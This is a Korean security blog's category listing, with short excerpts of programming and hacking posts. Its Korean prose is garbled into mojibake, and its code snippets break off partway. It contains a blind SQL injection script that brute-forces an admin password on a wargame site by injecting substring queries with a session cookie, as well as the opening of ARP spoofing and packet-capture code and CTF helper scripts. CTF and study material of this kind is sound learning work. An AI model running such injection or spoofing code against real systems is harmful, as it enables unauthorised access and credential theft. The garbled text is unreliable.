728x90 ๋ฐ์ํ Language24 list ๊ด๋ จํ์ฌ ํด๊ฒฐ ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ๊ฐ์ 2023.04.04 - [Language] - [python] list ์ฌ์ฉํ๋ฉด์ ์ ๋ฆฌ [python] list ์ฌ์ฉํ๋ฉด์ ์ ๋ฆฌ ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์ blog.z3alous.xyz ํด๋น ๊ธ์ ์ด์ด์ ์์ฑํ๋ ๋ด์ฉ์. ๋ด์ฉ ์ด์ ๋ด์ฉ๋๋ก ํด.. Language 2023. 4. 8. [python] list ์ฌ์ฉํ๋ฉด์ ์ ๋ฆฌ ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ๊ฐ์ python ๊ด๋ จ ์ฝ๋ ์ง๋ค๊ฐ ์ด๊ฒ์ ๊ฒ ์ฐพ์๋ณด๋ค๊ฐ ์ ๋ฆฌํ๋ ๊ธ์. ๋ด์ฉ python์ฝ๋ ์์ฑ ์ค list์ ์๋ ๊ฐ์ replace๋ฅผ ํด์ผํ๋ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ๋ค. ์ผ๋ฐ ๋ฌธ์์ด์ฒ๋ผ a.replace('a','b')๋ก ํ๋ฉด๋๋๋ฐ list๋ ๋ ๋ค๋ฅด๋ค๊ณ ํ๋๋ฐ... ํ .... ๊ทธ๋์ ์ด๋ป๊ฒ ํด์ผํ ๊น ์๊ฐ์ ํ๋๋ฐ temp์ ์์์ ์ผ๋ก ๋ฃ์ด์ ์ผ๋ฐ์ ์ผ๋ก ํ๋ ๋ฐฉ์์ผ๋ก ํด๋ ์ฒ๋ฆฌ๋ ๋๋๋ฐ... ๋ฌด์์ temp์.. Language 2023. 4. 4. ๊ณผ๊ฑฐ์ ์์ฑํ ์ํด๋ฆญ ํ๋๋? ๊ฐ๋จํ batch์ฝ๋ ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ๊ณผ๊ฑฐ์ ์ด๊ฒ ์ ๊ฒํ๋ค๊ฐ ์ฌ์ฉ์ pc์ ์ค์ ์ ๊ฐ๋ ์์ ์ทจ์ฝํ ๋ถ๋ถ์ ์ ๊ฒํ๊ณ ์์ ํด์ฃผ๋ batch ํ์ผ์ ์์ฑํ ์ ์ด ์๋ค. ํ์ผ ์ ๋ฆฌ๋ฅผ ํ๋ค๊ฐ ๋ฐ๊ฒฌ๋์ด ๊ธฐ๋ก์ ํ๊ธฐ ์ํด ๋จ๊ฒจ๋๋ค. ์ง๊ธ๋ ์ฝ๋์์ ์ ์กฐ๊ธ๋ง ํ๋ฉด ์ฌ์ฉํ ์ ์์๊ฒ์ด๋ค. @echo off title ์ํด๋ฆญ ์ทจ์ฝ์ ํจ์น color 6F set memberNo=623 set trainingNo=22 mkdir C:\Temp cls mode co.. Language 2023. 2. 5. ๊ฐ๋จํ์ง๋ง ์ฝ๊ฐ์ ๊ณ ๋ฏผ์ด ํ์ํ๋ ... ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ์ ๋ฌด๋ฅผ ํ๋ฉด์ php๋ฅผ ์ฌ์ฉํจ์ ์์ด ํ๊ฐ์ง ๊ณ ๋ฏผ์ ํ๊ฒ์ด ์์๋ค. ์ฌ์ค ๊ฐ๋จํ๊ฑฐ์์ง๋ง ์ ๊ทธ ์๊ฐ์ ๋ชปํ์๊น๋ผ๊ณ ์๊ฐ์ ํ๊ฑฐ์๋ค. ๋ฐ๋ก ์ฝ๋๋ฅผ ํ๋ฒ ๋ณด์ ํด๋น ์ฝ๋๋ ๋ณด๋ฉด ์๋ฏ์ด ํ์ผ์ ์ด์ด์ ํ์ธํ๊ณ ๋ผ์ธ ์๋ฅผ ๋ฐ์ง๋ ์ฝ๋์ด๋ค. ๊ทธ๋ํ์ ๊ฐ์ ๋ฃ๊ธฐ์ํด์ intํ์ด ๋์ผํ๋ค. ๋ผ์ธ์๋ ๋น์ฐํ๊ฒ intํ์ผ๋ก ์ ์ธ์ด ๋๋ค. ๋ง์ฝ์ txtํ์ผ์์ ์ซ์๊ฐ ๋ค์ด์๋ค๋ผ๊ณ ํ๊ณ ๊ทธ ์ซ์๋ฅผ ๊ทธ๋ํ์ ๋ฐ์ํด์ผํ๋ค๋ฉด? ๋ง.. Language 2023. 1. 25. ์์ฆ ํซํ ChatGPT๋ฅผ ์ฌ์ฉํด๋ณด์:) ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ์ฌ์ค chatGPT๊ฐ ์ฒ์ ๋์์๋ ์์ฒญ ์ธ๊ธฐ๊ฐ ๋ง์์ ํ๋ฒ ์ฌ์ฉํด๋ณผ๊น ํ๋๋ ์ํ๋ค๊ฐ ์์ฆ์๋ ๊ณ์ ์ธ๊ธฐ๊ฐ ๋ง์์ ํ๋ฒ ์ฌ์ฉ์ ํด๋ณด๋ ค๊ณ ํ๋ค. https://chat.openai.com/auth/login ํด๋น ํํ์ด์ง์์ ๊ฐ์ ์ ํ๋ฉด๋๋๋ฐ ๊ตฌ๊ธ ์์ด๋๋ฅผ ์ด์ฉํ์ฌ ๊ฐ์ ์ด ๊ฐ๋ฅํ๋ค. ๊ทธ๋ฐ๋ฐ ์ ์์ํ๋ฉด .... ์ด๋ฌํ ๋ฌธ๊ตฌ๊ฐ ๋์จ๋ค... ๋ ์ด์ ๋ฐ์๋ค์ผ ์ ์๋ค๊ณ ํ๋๋ฐ ... ํด๋น ๋ฌธ๊ตฌ๊ฐ ๋ฐ์ํ๋ฉด ์ํฌ๋ฆฟ.. Language 2023. 1. 24. php ์ javascript๋ฅผ ์ฌ์ฉํ๋ฉด์ ํด๊ฒฐํ์ง ๋ชปํ ๋ฌธ์ ... ์ต๊ทผ๋ค์ด php์ javascript๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌด์ธ๊ฐ๋ฅผ ๋ง๋ค์ด์ผ ํ๋ ์ํ๋ผ ์ด์ฌํ ๋ง๋ค์ด๋ณด๋ ค๊ณ ํ๊ณ ์์ผ๋ ํ๊ฐ์ ํ๋ฆฌ์ง ์๋ ๋ฌธ์ ๊ฐ ์๋ค. ์ฌ์ค ํฐ ๋ฌธ์ ๋ ์๋์ง๋ง ๋ญ๊ฐ ๊ฑฐ์ฌ๋ฆฐ๋ค. ์ผ๋จ ์ฝ๋๋ฅผ ๋ณด์. ํด๋น ์ฝ๋๋ tempfile.txt๋ฅผ ์ฝ์ด์์ | ๊ตฌ๋ถ์๋ก ๋๋๊ฒ ๋์ด ์๋ค. ์ฌ๊ธฐ์ explode์ ํจ์๋ก ์ธํ์ฌ ๋ฐฐ์ดํ์์ ๊ฐ์ง๊ฒ ๋๋๋ฐ ๋ฌธ์ ๋ ๋ง์ง๋ง ๊ฐ์ ๊ณต๋ฐฑ์ด ํฌํจ๋๋ค๋ ๊ฒ! ๊ทธ๋ง์ ์ฆ์จ [0]=' ' ์ด๋ฐ๋๋์ ๊ฐ์ง๊ฒ ๋๋ค๋ ๊ฒ์ด๋ค. ํด๋น ๋ฐ์ดํฐ๋ฅผ ๊ทธ๋ฅ ์ฌ์ฉํ ๋๋ ์ฝ๊ฐ์ ๋ฌธ์ ๊ฐ ์์ง๋ง table์ ๋ฃ์ ๊ฒฝ์ฐ์ ์ด๊ฑฐ ์ฐธ ... ํํ trim์ ์ด์ฉํ์ฌ ์์ ๋ณด๋ ค๊ณ ์๋๋ ํด๋ณด๊ณ ์ถ๊ฐ์ ์ธ ๋ค๋ฅธ๋ฐฉ๋ฒ์ ํตํด์๋ ํด๋ณด์์ผ๋ ๋ง์ง๋ง ๊ณต๋ฐฑ์ ์ง์์ง์ง์์๋ค. table์ ๋ฃ์์๋ ๋ฌธ์ ๋ ๊ณต๋ฐฑ์ ๋น๊ฐ์ ํฌํจํ๋ค.. Language 2023. 1. 15. php์ shell script ๋์์ ์ฌ์ฉํ๊ธฐ ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ์ ๋ฌด๋ฅผ ํ๋ค๋ณด๋ ์ด์ฉ์์์ด ๊ฐ๋ฐ์ ํด์ผํ๋ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ๋ค. ๊ฐ๋ฐ์ '๊ฐ'๋ ๋ชฐ๋ฅด๋๋ฐ ์ด์ฐ์ด์ฐ ๊ฐ๋ฐ์ ํ๊ธดํ๋ค... ์ต๊ทผ์ ์ ๋ฌด๋ฅผ ํ๋ฉด์ ๋ค์ํ ์ธ์ด๋ฅผ ์ฌ์ฉํด์ผํ๋ ์ผ์ด ์์๋ค. ์ค์ง์ ์ผ๋ก ์ฌ์ฉํ ์ธ์ด๋ก๋ front : html, css ,javascript back : php data : javascript, python, shell script ์ด๋ ๊ฒ ์ฌ์ฉํ ๊ฒ ๊ฐ๋ค. php๋ฅผ ํ๋ค๋ณด๋ ๋ฆฌ๋ ์ค ์๋ฒ์์.. Language 2023. 1. 7. R script๋ฅผ ์ด์ฉํ ์๊ฐํ ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ๋ฐ์ดํฐ ๋ถ์ ๋ฐ ๋ก๊ทธ ๋ถ์์ ํ๋ค๋ณด๋ฉด ๋๋์ ๋ฐ์ดํฐ๋ฅผ ๋ถ์ํด์ผํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ๋์ ๋ธ๋ก๊ทธ์ ๋ณด๋ฉด access๋ก๊ทธ ๊ฐ์ ๊ฒ์ ๋ถ์ํ๋ ๊ฒ์ ์์ฑ์ ํด๋์ ์ด์๋ค. 2020.11.02 - [Security Study/Network] - access ๋ก๊ทธ ๋ถ์ ํ ๋ ๊ฟํ access ๋ก๊ทธ ๋ถ์ ํ ๋ ๊ฟํ access ๋ก๊ทธ๋ฅผ ๋ถ์ํ ๋ ๋ง์ ์ด๋ ค์์ด ์กด์ฌํ๋ค. ์๋ฅผ ๋ค์ด ์ .... access ๋ก๊ทธ๋ฅผ ๋ณด๋ฉด ์์ด.. Language 2022. 12. 18. Notepad ๋์ฐ๊ธฐ - Process ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. ๊ณผ๊ฑฐ์๋ฃ๋ฅผ ์ฐพ์๋ณด๋ค๊ฐ BoBํ ๋ ๊ณผ์ ๋ก ๋ฐ์๋ ๋ด์ฉ์ด ์์ด์ ์์ฑํด๋ณธ๋ค. ๊ณผ์ ๋ ๊ทธ๋ฅ Notepad๋ฅผ ๋์ฐ๋ ๊ฑฐ์๋๋ฐ... ๊ธฐ์ตํ๊ธฐ๋ก๋ ํ์ผํฌ๊ธฐ๋ฅผ ํน์ ํ๊ฒ ๋ง๋ค์ด์ notepad๋ฅผ ์์ฑ ํ๋ ๊ฑฐ์๋ค. #include #include #include #define DIR_LEN_BUFSIZE int _tmain(int argc, TCHAR* argv[]) { STARTUPINFO si = { 0, }; PR.. Language 2022. 11. 7. Changes in Python 3.6 1. f string formatting (PEP 498) You can avoid the inconvenience of having to kill variables when using the .format () method or%. >>> lang = 'Python' >>> author = 'Guido van Rossum' >>> 'Language: {}, Author: {}'.format(lang, author) Language: Python, Author: Guido van Rossum >>> f'Language: {lang}, Author: {author}' Language: Python, Author: Guido van Rossum 2. Type hint (PEP 484) In 3.5, type.. Language 2016. 12. 24. base 64 ์ํ๋ ํ์๋งํผ decoding ํ๊ธฐ python (ํ์ผ ๋ฃ์ด์) # -*- coding:utf-8 -*- import base64 f = open("")#ํ์ผ ๋ช (๊ฒฝ๋ก) Buff = f.readlines() Buff = str(Buff) for x in range(0, 50): #50์๋ฆฌ์ ๋ฐ๋ณตํ๊ณ ์ถ์ ํ์ Buff = base64.decodestring(Buff) print Buff Language 2016. 12. 22. individual bands of image.py from PIL import Imageimport numpy as np im = Image.open('heartbleed.png') # In this case, it's a 3-band (red, green, blue) image# so we'll unpack the bands into 3 separate 2D arrays.r, g, b = np.array(im).T # Let's make an alpha (transparency) band based on where blue is < 100a = np.zeros_like(b)a[b Language 2016. 12. 21. RGB image analysis.py import numpy as npimport mpl_toolkits.mplot3d.axes3d as p3import matplotlib.pyplot as pltimport colorsysfrom PIL import Image # (1) Import the file to be analyzed!img_file = Image.open("sunset.jpg")img = img_file.load() # (2) Get image width & height in pixels[xs, ys] = img_file.sizemax_intensity = 100hues = {} # (3) Examine each pixel in the image filefor x in xrange(0, xs): for y in xrange(0, .. Language 2016. 12. 21. image GPS.py from PIL import Imagefrom PIL.ExifTags import TAGS filename = "sunset.jpg"extension = filename.split('.')[-1]if (extension == 'jpg') | (extension == 'JPG') | (extension == 'jpeg') | (extension == 'JPEG') | (extension == 'PNG') |(extension == 'png'): try: img = Image.open(filename) info = img._getexif() exif = {} for tag, value in info.items(): decoded = TAGS.get(tag, tag) exif[decoded] = value #.. Language 2016. 12. 21. base image.py from PIL import Image img = Image.open("filename.jpg")print(img.size)print(img.format) img.show() Language 2016. 12. 21. python ๊ฐ์ ํ์ผ ๋ฝ์๋ด๊ธฐ :) ์ฌ์ ํ์ผ์ ํ์ผ์ด๋ฆ๊ณผ ํด๋๋ฅผ ์ง์ ํด์ฃผ๋ฉด ์ค๋ณตํ์ผ์ ๋ฝ์์ค๋๋ค :) # -*- coding: utf-8 -*- import os f = open('/Users/z3alous/Desktop/flag1.txt', 'w') Language 2016. 12. 18. md5 ํ๋ฒ์ ์ธ์ฝ๋ฉํ๊ธฐ :) ex)ํด๋์ง์ # -*- coding: utf-8 -*-import hashlibimport os f = open('/Users/z3alous/Desktop/flag.txt', 'w') def md5(fname): hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() for root, dirs, files in os.walk('ํด๋ ๊ฒฝ๋ก'): for fname in files: full_fname = os.path.join(root, fname) f.write(md5(full_fname) + '\n') f.. Language 2016. 12. 18. rsa.py_ctf #๊ฐ๋ฃ์ผ๋ฉด ''์์ ๊ธฐ...p = ''g =''a = ''b = '' C = ''CA = pow(C,a,p)CAB = pow(CA,b,p) print("key_is",CAB) Language 2016. 12. 12. toolhelp #include #include #include#include#include int _tmain(int argc, _TCHAR* argv[]){ /* */HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process;process.dwSize = sizeof(PROCESSENTRY32); _tprintf(_T("%32s %8s %8s %8s\n"), L"[NAME]", L"[PID]", L"[THREAD]", L"[PPID]"); while (Process32Next(hProcess, &process)){_tprintf(_T("%32s %8d %8d %8d\n"),process.szExeFile, // pr.. Language 2015. 9. 24. C์ธ์ด ์ ๋ฆฌ C์ธ์ด์ ์ฅ์ C์ธ์ด๋ ์ ์ฐจ์งํฅ์ ํน์ฑ์ ์ง๋๋ค. ๋๋ฌธ์ ์ต์ํด์ง๋๋ฐ ์ค๋ ์๊ฐ์ด ๊ฑธ๋ฆฌ์ง ์๋๋ค. ์ฆ, ์ ์ฐจ์งํฅ ํ๋ก๊ทธ๋๋ฐ์์ ์ค์ฌ์ด ๋๋ ๊ฒ์ ‘์์’์ด๋ค.C์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ์ด์์ฑ์ด ์ข๋ค.C์ธ์ด๋ก ๊ตฌํ๋ ํ๋ก๊ทธ๋จ์ ์ข์ ์ฑ๋ฅ์ ๋ณด์ธ๋ค. C์ธ์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํจ์๋ก ์์ํด์ ํจ์๋ก ๋๋๋ค.int => ์ถ๋ ฅํํ main => ํจ์์ด๋ฆ (void) => ์ ๋ ฅํํ ์์ int์ void๋ ๊ฐ๊ฐ ์ถ๋ ฅ๊ณผ ์ ๋ ฅ์ ํํ๋ฅผ ์ค๋ช ํ๋ ๊ฒ์ด๋ค. ์ฆ, ์ถ๋ ฅ์ ํํ๊ฐ int ์ด๊ณ ์ ๋ ฅ์ ํํ๊ฐ void์ธ main์ด๋ผ๋ ํจ์ C์ธ์ด์ ํจ์ ๋ด์ ์กด์ฌํ๋ ๋ฌธ์ฅ์ ๋์๋ ์ธ๋ฏธ์ฝ๋ก ๋ฌธ์ ;์ ๋ถ์ฌ์ค๋ค. printf ํจ์๋ ํจ์ํธ์ถ ์ ์ ๋ฌ๋๋ ๋ฌธ์์ด์ ๋ชจ๋ํฐ์ ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์ ์ง๋๋ค. ์ด๋ ์ง์ ๋ง๋ค์ง ์์๋ ํธ์ถ์ด ๊ฐ๋ฅํ, .. Language 2015. 9. 22. arp spoofing.c ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. #include "Arp.h" int main(int argc, char **argv) { pcap_if_t *alldevs; pcap_if_t *d; int inum; pcap_t *adhandle; char packet_filter[] = ""; struct bpf_program fcode; u_int netmask; pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE]; int .. Language 2015. 9. 8. Mac Capture.c #define WPCAP #define HAVE_REMOTE #include "pcap.h" #include #include typedef struct arphdr { u_char DMac[6]; // target hardware address u_char SMac[6]; // sender hardware address u_int16_t type; // operation code u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits) u_char tos; // Type of service u_short tlen; // Total length u_short identification; // I.. Language 2015. 9. 8. blind sql injection.py #http2,1)%3C%27N%27)--+&pw=adminimport urllibimport urllib2 ans =""ans2="" for i in range(1,11): for j in range(33,127) : url1 = "http://suninatas.com/Part_one/web22/web22.asp?id=admin'+and(substring(pw," url1=url1+str(i)+",1)='" url1=url1+chr(j)+"')--+&pw=1" try: #print url1; req = urllib2.Request(url1) req.add_header('cookie',"ASPSESSIONIDSSATDDSQ=EMNOHBMDIHNLAAFFOHICOODE") res = urllib2.urlop.. Language 2015. 9. 8. base 64 encoding import base64 str64="0cc175b9c0f1b6a831c399e2697726618277e0910d750195b448797616e091ad6f8f57715090da2632453988d9a1501b865c0c0b4ab0e063e5caa3387c1a87417b8b965ad4bca0e41ab51de7b31363a1d41d8cd98f00b204e9800998ecf8427e" # base 64๊ตฌ๋ฌธstr64=base64.b64encode(str64.encode('ascii'))for i in range(1,11): str64=base64.encodestring(str64) str64=str64.decode("utf-8")print(str64.replace("\n","")) Language 2015. 9. 8. ์ด์ 1 ๋ค์ 728x90 ๋ฐ์ํ